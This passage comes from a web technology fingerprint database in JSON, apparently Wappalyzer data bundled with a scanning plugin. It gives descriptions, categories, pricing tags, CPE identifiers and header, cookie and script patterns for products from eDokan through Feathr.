\"eDokan is hosted ecommerce platform with drag-drop template builder and zero programming knowledge.\",\n    \"dom\": [\n      \"img[src*='cdn.edokan.co']\"\n    ],\n    \"icon\": \"eDokan.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"Angular\",\n      \"MongoDB\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://edokan.co\"\n  },\n  \"eGain Conversation\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"eGain Conversation is a customer engagement platform that centralises and manages customer interactions across multiple channels, including chat, email, social media, and messaging apps.\",\n    \"icon\": \"eGain.svg\",\n    \"js\": {\n      \"egainDockChat\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.analytics-egain\\\\.com/\"\n    ],\n    \"website\": \"https://www.egain.com\"\n  },\n  \"eKomi\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"eKomi is a German supplier and product review service.\",\n    \"dom\": [\n      \".ekomi-widget-container\"\n    ],\n    \"icon\": \"eKomi.svg\",\n    \"js\": {\n      \"ekomiWidgetMain\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ekomi.de\"\n  },\n  \"eNamad\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"eNamad is an electronic trust symbol.\",\n    \"dom\": [\n      \"a[href*='.enamad.ir/'][target='_blank'], div.e-namad-widget-wrapper, img[src*='.enamad.ir/']\"\n    ],\n    \"icon\": \"eNamad.png\",\n    \"meta\": {\n      \"enamad\": \"^\\\\d+$\"\n    },\n    \"website\": \"https://enamad.ir/\"\n  },\n  \"ePages\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ePages is a provider of cloud-based online shop solutions.\",\n    \"headers\": {\n      \"X-epages-RequestId\": \"\"\n    },\n    \"icon\": \"ePages.svg\",\n    \"js\": {\n      \"epages\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.epages.com/\"\n  },\n  \"ePublishing\": {\n    \"cats\": [\n      54,\n      96\n    ],\n    \"description\": \"ePublishing is a media tech stack that enhances revenue, productivity, and engagement through AI-powered solutions, SEO dominance, and audience integration.\",\n    \"icon\": \"ePublishing.svg\",\n    \"js\": {\n      \"Ellington.Admin\": \"\",\n      \"EllingtonMap\": \"\",\n      \"EllingtonPlateLoader.cache\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.epublishing.com\"\n  },\n  \"eRate\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"eRate is a provider of digital advertising tools and inventory within global ad networks.\",\n    \"dom\": [\n      \"iframe[src*='rep.erate.co']\"\n    ],\n    \"icon\": \"ErateAd.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.eratead.com\"\n  },\n  \"eSSENTIAL Accessibility\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"eSSENTIAL Accessibility is a digital accessibility-as-a-service platform.\",\n    \"dom\": [\n      \" a[href*='.essentialaccessibility.com'] > img\"\n    ],\n    \"icon\": \"eSSENTIAL Accessibility.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.essentialaccessibility.com\"\n  },\n  \"eShopCRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"eShopCRM is an ecommerce CRM for Shopify.\",\n    \"icon\": \"eShopCRM.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"eshopcrm\\\\.com/\"\n    ],\n    \"website\": \"https://eshopcrm.com\"\n  },\n  \"eSputnik\": {\n    \"cats\": [\n      32,\n      97\n    ],\n    \"description\": \"eSputnik is a marketing automation service for ecommerce.\",\n    \"icon\": \"eSputnik.svg\",\n    \"js\": {\n      \"esSdk\": \"^es$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?://|\\\\.)esputnik\\\\.com/\"\n    ],\n    \"website\": \"https://esputnik.com\"\n  },\n  \"eSyndiCat\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Drectory-Script\": \"^eSyndiCat\"\n    },\n    \"icon\": \"eSyndiCat.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"esyndicat\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^eSyndiCat \"\n    },\n    \"website\": \"https://esyndicat.com\"\n  },\n  \"eWAY Payments\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"eWAY is a global omnichannel payment provider. The company processes secure credit card payments for merchants. eWay works through eCommerce.\",\n    \"html\": [\n      \"<img [^>]*src=\\\"[^/]*//[^/]*eway\\\\.com\"\n    ],\n    \"icon\": \"eway.svg\",\n    \"scriptSrc\": [\n      \"secure\\\\.ewaypayments\\\\.com\"\n    ],\n    \"website\": \"https://www.eway.com.au/\"\n  },\n  \"eZ Publish\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"eZSESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:ez:ez_publish:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"^eZ Publish\"\n    },\n    \"icon\": \"eZ.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"eZ Publish\"\n    },\n    \"website\": \"https://github.com/ezsystems/ezpublish-legacy\"\n  },\n  \"ebisumart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ebisumart is a cloud-based storefront system for developing and renewing high-quality ecommerce websites.\",\n    \"icon\": \"ebisumart.svg\",\n    \"js\": {\n      \"Ebisu.FontChanger\": \"\",\n      \"Ebisu.FontChanger.map.L\": \"\",\n      \"ebisu_conv\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ebisumart.com\"\n  },\n  \"ef.js\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"ef.js.svg\",\n    \"js\": {\n      \"ef.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"efCore\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/ef(?:-core)?(?:\\\\.min|\\\\.dev)?\\\\.js\"\n    ],\n    \"website\": \"https://ef.js.org\"\n  },\n  \"emBlue\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"emBlue is an email and marketing automation platform.\",\n    \"icon\": \"emBlue.svg\",\n    \"js\": {\n      \"emblueOnSiteApp\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.embluemail\\\\.com/(?:library/([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.embluemail.com/en\"\n  },\n  \"enduro.js\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^enduro\\\\.js\"\n    },\n    \"icon\": \"enduro.js.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"website\": \"https://endurojs.com\"\n  },\n  \"etika\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"etika is a fintech company based in Manchester which provide buy now pay later solution.\",\n    \"icon\": \"etika.svg\",\n    \"js\": {\n      \"EtikaProductJsHelper\": \"\",\n      \"etikaBannerInject\": \"\",\n      \"etikaGlobal\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://etika.com\"\n  },\n  \"eucookie.eu\": {\n    \"cats\": [\n      67\n    ],\n    \"icon\": \"eucookie.svg\",\n    \"scriptSrc\": [\n      \"eucookie\\\\.eu/public/gdpr-cookie-consent\\\\.js\"\n    ],\n    \"website\": \"https://www.eucookie.eu/\"\n  },\n  \"experiencedCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:experiencedcms:experiencedcms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"experiencedCMS_Logo.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^experiencedCMS$\"\n    },\n    \"website\": \"https://experiencedcms.berkearas.de\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/f.json",
    "content": "{\n  \"F5 BigIP\": {\n    \"cats\": [\n      64\n    ],\n    \"cookies\": {\n      \"F5_HT_shrinked\": \"\",\n      \"F5_ST\": \"\",\n      \"F5_fullWT\": \"\",\n      \"LastMRH_Session\": \"\",\n      \"MRHSHint\": \"\",\n      \"MRHSequence\": \"\",\n      \"MRHSession\": \"\",\n      \"TIN\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:f5:big-ip:*:*:*:*:*:*:*:*\",\n    \"description\": \"F5's BIG-IP is a family of products covering software and hardware designed around application availability, access control, and security solutions.\",\n    \"headers\": {\n      \"server\": \"^big-?ip$\"\n    },\n    \"icon\": \"F5.svg\",\n    \"website\": \"https://www.f5.com/products/big-ip-services\"\n  },\n  \"FARFETCH Black & White\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Farfetch Platform Solutions is a full service platform and agency providing end-to-end, multichannel e-commerce solutions for luxury fashion brands under the name Farfetch Black & White.\",\n    \"icon\": \"Farfetch.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-static\\\\.farfetch-contents.com\\\\.js\"\n    ],\n    \"website\": \"https://www.farfetchplatformsolutions.com/\"\n  },\n  \"FAST ESP\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"FAST ESP is a service-oriented architecture development platform which is geared towards production searchable indexes. It provided a flexible framework for creating ETL applications for efficient indexing of searchable content.\",\n    \"html\": [\n      \"<form[^>]+id=\\\"fastsearch\\\"\"\n    ],\n    \"icon\": \"FAST ESP.png\",\n    \"website\": \"https://microsoft.com/enterprisesearch\"\n  },\n  \"FAST Search for SharePoint\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"FAST Search for SharePoint is the search engine for Microsoft's SharePoint collaboration platform. Its purpose is helping SharePoint users locate and retrieve stored enterprise content.\",\n    \"html\": [\n      \"<input[^>]+ name=\\\"ParametricSearch\"\n    ],\n    \"icon\": \"FAST Search for SharePoint.png\",\n    \"implies\": [\n      \"Microsoft SharePoint\",\n      \"Microsoft ASP.NET\"\n    ],\n    \"url\": [\n      \"Pages/SearchResults\\\\.aspx\\\\?k=\"\n    ],\n    \"website\": \"https://sharepoint.microsoft.com/en-us/product/capabilities/search/Pages/Fast-Search.aspx\"\n  },\n  \"FMG Suite\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"FMG Suite is an automated content marketing system for financial advisors.\",\n    \"icon\": \"FMGSuite.svg\",\n    \"js\": {\n      \"FMG.EbookBGType\": \"\",\n      \"fmgjQuery.Animation\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^FMG Suite$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"jQuery\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fmgsuite.com\"\n  },\n  \"FUDforum\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:fudforum:fudforum:*:*:*:*:*:*:*:*\",\n    \"description\": \"FUDforum is a discussion forum software with support for posts, topics, polls and attachments.\",\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"Perl\",\n      \"PHP\"\n    ],\n    \"js\": {\n      \"fud_msg_focus\": \"\",\n      \"fud_tree_msg_focus\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/fudforum/FUDforum\"\n  },\n  \"Fabric\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Fabric is a headless commerce platform helping direct-to-consumer and B2B brands utilize an ecommerce platform designed for their needs.\",\n    \"dom\": [\n      \"img[data-src*='fabric.imgix.net/']\"\n    ],\n    \"icon\": \"Fabric.svg\",\n    \"meta\": {\n      \"powered-by\": \"FabricInc\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fabric.inc\"\n  },\n  \"Facebook Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Facebook Ads is an online advertising platform developed by Facebook.\",\n    \"icon\": \"Facebook.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.facebook.com/business/ads\"\n  },\n  \"Facebook Chat Plugin\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Facebook Chat Plugin is a website plugin that businesses with a Facebook Page can install on their website.\",\n    \"dom\": {\n      \"iframe[src*='.facebook.com/']\": {\n        \"attributes\": {\n          \"src\": \"\\\\.facebook\\\\.com/v([\\\\d\\\\.]+)/plugins/customerchat\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Facebook.svg\",\n    \"js\": {\n      \"facebookChatSettings\": \"\"\n    },\n    \"scriptSrc\": [\n      \"connect\\\\.facebook\\\\.net/.+\\\\.customerchat\\\\.js\"\n    ],\n    \"website\": \"https://developers.facebook.com/docs/messenger-platform/discovery/facebook-chat-plugin/\"\n  },\n  \"Facebook Login\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Facebook Login is a way for people to create accounts and log into your app across multiple platforms.\",\n    \"icon\": \"Facebook.svg\",\n    \"js\": {\n      \"FB.getLoginStatus\": \"\"\n    },\n    \"website\": \"https://developers.facebook.com/docs/facebook-login/\"\n  },\n  \"Facebook Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Facebook pay is a payment solution which can be used on any site or app outside Facebook ecosystem.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-facebook_pay']\"\n    ],\n    \"icon\": \"Facebook.svg\",\n    \"website\": \"https://pay.facebook.com/\"\n  },\n  \"Facebook Pixel\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Facebook pixel is an analytics tool that allows you to measure the effectiveness of your advertising.\",\n    \"dom\": [\n      \"img[src*='facebook.com/tr']\"\n    ],\n    \"icon\": \"Facebook.svg\",\n    \"js\": {\n      \"_fbq\": \"\"\n    },\n    \"scriptSrc\": [\n      \"connect\\\\.facebook.\\\\w+/signals/config/\\\\d+\\\\?v=([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"connect\\\\.facebook\\\\.\\\\w+/.+/fbevents\\\\.js\"\n    ],\n    \"website\": \"https://facebook.com\"\n  },\n  \"Facebook Pixel Advanced Matching\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Facebook Pixel Advanced Matching is a feature that allows the optimization of Meta ads by sending hashed customer information with Meta Pixel events, aiding in improved conversion attribution and broader audience reach.\",\n    \"icon\": \"Meta.svg\",\n    \"implies\": [\n      \"Facebook Pixel\"\n    ],\n    \"website\": \"https://www.facebook.com/business/help/611774685654668?id=1205376682832142\",\n    \"xhr\": [\n      \"facebook\\\\.com/tr/\",\n      \"udff\\\\[em\\\\]=[a-fA-F0-9]{64}\",\n      \"udff\\\\[.+\\\\]=[a-fA-F0-9]+\"\n    ]\n  },\n  \"Facil-iti\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Facil-iti is a web accessibility overlay which provides support for some people with disabilities and seniors.\",\n    \"icon\": \"Facil-iti.svg\",\n    \"scriptSrc\": [\n      \"ws\\\\.facil-iti\\\\.com/tag/faciliti-tag\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.facil-iti.com/\"\n  },\n  \"Fact Finder\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Fact Finder is a platform which, combines search, navigation, and merchandising solutions to streamline online search and power sales.\",\n    \"html\": [\n      \"<!-- Factfinder\"\n    ],\n    \"icon\": \"FactFinder.svg\",\n    \"js\": {\n      \"FactFinderInit\": \"\",\n      \"factfinder\": \"\",\n      \"factfinder.version\": \"^([\\\\d\\\\.])$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"Suggest\\\\.ff\"\n    ],\n    \"url\": [\n      \"(?:/ViewParametricSearch|ffsuggest\\\\.[a-z]htm)\"\n    ],\n    \"website\": \"https://fact-finder.com\"\n  },\n  \"FalguniThemes Nisarg\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"FalguniThemes Nisarg is a new fully responsive and translation ready WordPress theme.\",\n    \"icon\": \"FalguniThemes.png\",\n    \"js\": {\n      \"nisargpro_script_vars\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/nisarg(?:pro)?/\"\n    ],\n    \"website\": \"https://www.falgunithemes.com/downloads/nisarg\"\n  },\n  \"FameThemes OnePress\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"FameThemes OnePress is a free portfolio one page WordPress theme suited for an individual or digital agency.\",\n    \"icon\": \"FameThemes.svg\",\n    \"js\": {\n      \"OnePress_Plus\": \"\",\n      \"onepressIsMobile\": \"\",\n      \"onepress_js_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.famethemes.com/themes/onepress\"\n  },\n  \"FameThemes Screenr\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"FameThemes Screenr is a fullscreen parallax WordPress theme suited for business, portfolio, digital agency, freelancers.\",\n    \"icon\": \"FameThemes.svg\",\n    \"js\": {\n      \"Screenr.autoplay\": \"\",\n      \"Screenr_Plus\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.famethemes.com/themes/screenr\"\n  },\n  \"Famewall\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Famewall is a tool that converts social media mentions into visually appealing testimonials and automates the process of collecting them from customers using a custom collection feature.\",\n    \"icon\": \"Famewall.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.famewall\\\\.io/\"\n    ],\n    \"website\": \"https://famewall.io\"\n  },\n  \"FancyBox\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"FancyBox is a tool for displaying images, html content and multi-media in a Mac-style 'lightbox' that floats overtop of web page.\",\n    \"icon\": \"FancyBox.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"$.fancybox.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"Fancybox.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"jQuery.fancybox.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"jquery\\\\.fancybox(?:\\\\.pack|\\\\.min)?\\\\.js(?:\\\\?v=([\\\\d.]+))?$\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://fancyapps.com/fancybox\"\n  },\n  \"Fanplayr\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Fanplayr is a real-time insights platform that provides website optimisation and personalisation solutions for businesses.\",\n    \"dom\": [\n      \"link[href*='cdn.fanplayr.com']\"\n    ],\n    \"icon\": \"Fanplayr.svg\",\n    \"js\": {\n      \"fanplayr.platform.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.fanplayr\\\\.com/.+/([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://fanplayr.com\"\n  },\n  \"FaraPy\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<!-- Powered by FaraPy.\"\n    ],\n    \"icon\": \"FaraPy.png\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"website\": \"https://faral.tech\"\n  },\n  \"FareHarbor\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"FareHarbor is an booking and schedule management solution intended for tour and activity companies.\",\n    \"html\": [\n      \"<iframe[^>]+fareharbor\"\n    ],\n    \"icon\": \"FareHarbor.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fareharbor\\\\.com/embeds/api/\"\n    ],\n    \"website\": \"https://fareharbor.com\"\n  },\n  \"Fast Bundle\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Fast Bundle gives you the ability to create product bundle offers with discounts.\",\n    \"icon\": \"Fast Bundle.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"FastBundleConf.bundleBox\": \"\",\n      \"FastBundleConf.cartInfo.app_version\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.fastbundle\\\\.co/\"\n    ],\n    \"website\": \"https://fastbundle.co\"\n  },\n  \"Fast Checkout\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Fast Checkout is a one-click purchases for buyers without requiring a password to log in.\",\n    \"icon\": \"Fast Checkout.svg\",\n    \"js\": {\n      \"FAST_VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"Fast.Events\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.fast\\\\.co/\"\n    ],\n    \"website\": \"https://www.fast.co\"\n  },\n  \"FastComet\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"FastComet is a hosting service company from San Francisco, California.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.fcomet\\\\.com\"\n    },\n    \"icon\": \"FastComet.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.fastcomet.com\"\n  },\n  \"FastSpring\": {\n    \"cats\": [\n      6,\n      41\n    ],\n    \"description\": \"FastSpring is a digital ecommerce platform that helps software and SaaS companies manage payments, subscriptions, tax compliance, and fraud prevention globally.\",\n    \"html\": [\n      \"<a [^>]*href=\\\"https?://sites\\\\.fastspring\\\\.com\",\n      \"<form [^>]*action=\\\"https?://sites\\\\.fastspring\\\\.com\"\n    ],\n    \"icon\": \"FastSpring.svg\",\n    \"js\": {\n      \"fastspring\": \"\",\n      \"fastspringAfterMarkupCallback\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fastspring.com\"\n  },\n  \"FastTony\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"FastTony is an application that facilitates promotion and sales through Facebook and Instagram.\",\n    \"icon\": \"FastTony.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fasttony\\\\.(?:es|com)/\"\n    ],\n    \"website\": \"https://fasttony.com\"\n  },\n  \"Fastbase\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Fastbase is a web analytics tool that identifies visitors' real company names and the individuals associated with them, aiding in targeted marketing and lead generation.\",\n    \"icon\": \"Fastbase.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fastbase\\\\.com/\"\n    ],\n    \"website\": \"https://www.fastbase.com\"\n  },\n  \"Fastcommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Fastcommerce is an ecommerce platform that offers tools and solutions for businesses to create and manage online stores in Brazil.\",\n    \"icon\": \"Fastcommerce.svg\",\n    \"meta\": {\n      \"generator\": \"^Fastcommerce\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.fastcommerce.com.br\"\n  },\n  \"Fasterize\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Fasterize is a website accelerator service.\",\n    \"icon\": \"Fasterize.svg\",\n    \"js\": {\n      \"fstrz\": \"\"\n    },\n    \"website\": \"https://www.fasterize.com/\"\n  },\n  \"Fastly\": {\n    \"cats\": [\n      31\n    ],\n    \"cpe\": \"cpe:2.3:a:fastly:fastly:*:*:*:*:*:*:*:*\",\n    \"description\": \"Fastly is a cloud computing services provider. Fastly's cloud platform provides a content delivery network, Internet security services, load balancing, and video & streaming services.\",\n    \"headers\": {\n      \"Fastly-Debug-Digest\": \"\",\n      \"Vary\": \"Fastly-SSL\",\n      \"X-Fastly-Request-ID\": \"\",\n      \"server\": \"Fastly\",\n      \"x-fastly-origin\": \"\",\n      \"x-fastly-request-id\": \"\",\n      \"x-via-fastly\": \"\"\n    },\n    \"icon\": \"Fastly.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.fastly.com\",\n    \"xhr\": [\n      \"\\\\.fastly\\\\.net\"\n    ]\n  },\n  \"Fastmind\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Fastmind is an AI-powered chatbot builder that enables customer engagement using live data retrieved directly from a search engine.\",\n    \"icon\": \"Fastmind.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.fastmind\\\\.ai/\"\n    ],\n    \"website\": \"https://fastmind.ai\"\n  },\n  \"Fastspring\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<a [^>]*href=\\\"https?://sites\\\\.fastspring\\\\.com\",\n      \"<form [^>]*action=\\\"https?://sites\\\\.fastspring\\\\.com\"\n    ],\n    \"icon\": \"fastspring.png\",\n    \"website\": \"https://fastspring.com\"\n  },\n  \"Fat Zebra\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Fat Zebra provides a process of accepting credit card payments online.\",\n    \"html\": [\n      \"<(?:iframe|img|form)[^>]+paynow\\\\.pmnts\\\\.io\",\n      \"<(?:iframe)[^>]+FatZebraFrame\"\n    ],\n    \"icon\": \"fatzebra.svg\",\n    \"scriptSrc\": [\n      \"paynow\\\\.pmnts\\\\.io\"\n    ],\n    \"website\": \"https://www.fatzebra.com/\"\n  },\n  \"Fat-Free Framework\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:fatfreeframework:fat-free_framework:*:*:*:*:*:*:*:*\",\n    \"description\": \"Fat-Free Framework (F3) is a lightweight PHP micro-framework that enables rapid development of dynamic web applications with built-in features like URL routing, caching, multilingual support, and database integration for high performance.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Fat-Free Framework$\"\n    },\n    \"icon\": \"Fat-Free Framework.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://fatfreeframework.com\"\n  },\n  \"FatherShops\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"FatherShops is an ecommerce platform.\",\n    \"excludes\": [\n      \"OpenCart\"\n    ],\n    \"icon\": \"FatherShops.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fathershop/view/theme/fs/\"\n    ],\n    \"website\": \"https://fathershops.com\"\n  },\n  \"Fathom\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Fathom is easy-yet-powerful website analytics that protects digital privacy.\",\n    \"icon\": \"Fathom.svg\",\n    \"js\": {\n      \"fathom.blockTrackingForMe\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.usefathom\\\\.com/\"\n    ],\n    \"website\": \"https://usefathom.com\"\n  },\n  \"Faveo\": {\n    \"cats\": [\n      1,\n      104\n    ],\n    \"description\": \"Open source help desk system and ticket management tool.\",\n    \"dom\": [\n      \"link[href*='/lb-faveo/']\"\n    ],\n    \"icon\": \"Faveo.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"faveo(?:\\\\/js)?(?:\\\\/jquery)?(?:\\\\/know)?(?:\\\\/mobilemenu)?(?:\\\\/plugins)?(?:\\\\/bootstrap)?(?:\\\\/superfish)?(?:\\\\/iCheck\\\\/icheck)?(?:-wysihtml5\\\\/bootstrap3-wysihtml5)?(?:\\\\.all)?(?:\\\\.rating)?(?:\\\\.pack)?((?:\\\\d+\\\\.)+\\\\d+)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://faveohelpdesk.com\"\n  },\n  \"Fbits\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Fbits.png\",\n    \"js\": {\n      \"fbits\": \"\"\n    },\n    \"website\": \"https://www.traycorp.com.br\"\n  },\n  \"FeatherX\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"FeatherX captures content from all major reviews and social media channels.\",\n    \"icon\": \"FeatherX.svg\",\n    \"js\": {\n      \"featherx.clientId\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://featherx.ai\"\n  },\n  \"Feathr\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Feathr is a suite of digital marketing tools designed specifically for event organizers, facilitating targeted outreach and audience engagement.\",\n    \"icon\": 